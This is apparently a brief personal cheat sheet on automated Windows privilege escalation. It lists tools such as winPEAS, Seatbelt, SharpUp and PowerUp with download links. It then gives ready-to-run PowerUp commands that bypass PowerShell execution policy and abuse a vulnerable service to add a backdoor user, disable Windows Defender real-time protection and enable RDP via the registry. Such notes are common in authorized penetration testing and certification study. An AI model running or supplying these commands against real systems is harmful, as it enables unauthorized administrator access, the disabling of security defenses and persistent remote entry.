windows_priv_auto

Automated tools(executables)
winpeas.exe
https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
seatbelt.exe
https://wadcoms.github.io/wadcoms/Seatbelt/
https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
sharpUP.exe
https://github.com/r3motecontrol/Ghostpack-CompiledBinaries

Automated tools(Powershell)
PowerUp.ps1
Sherlock.ps1

Automated tools(Other)
Windows Exploit Suggester

PowerUp.ps1
PS C:> powershell -ep bypass
PS C:> Import-Module PowerUp.ps1
PS C:> . .\PowerUp.ps1

Adding a new user with password with -User and -Password options

Invoke-ServiceAbuse -Name 'AbyssWebServer' -User hacker -Password Password1337

Running a custom command (Disable Windows Defender)

Invoke-ServiceAbuse -Name 'AbyssWebServer' -Command "Set-MpPreference -DisableRealtimeMonitoring $true"

Running a custom command (Enable RDP services)

```
Invoke-ServiceAbuse -Name 'AbyssWebServer' -Command "reg add
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f"
```